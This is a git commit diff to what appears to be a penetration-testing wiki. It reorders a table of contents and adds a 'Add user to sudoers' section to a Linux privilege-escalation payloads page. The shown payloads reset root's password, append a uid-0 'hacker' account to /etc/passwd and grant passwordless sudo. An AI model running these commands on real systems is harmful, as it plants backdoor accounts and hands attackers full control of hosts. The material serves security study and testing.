GitBook: [master] 2 pages modified

This commit is contained in:
CPol 2021-01-06 15:55:19 +00:00 committed by gitbook-bot
parent 58caa6823e
commit 9dad931ad7
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
2 changed files with 5 additions and 1 deletions

View file

@ -35,11 +35,11 @@
* [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md)
* [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md)
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
* [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md)
* [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
* [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
* [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
* [Wildcards Spare tricks](linux-unix/privilege-escalation/wildcards-spare-tricks.md)
* [Useful Linux Commands](linux-unix/useful-linux-commands/README.md)
* [Bypass Bash Restrictions](linux-unix/useful-linux-commands/bypass-bash-restrictions.md)

View file

@ -53,5 +53,9 @@ echo "root:hacked" | chpasswd
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
### Add user to sudoers
```bash
echo "<username> ALL=NOPASSWD:ALL" >> /etc/sudoers
```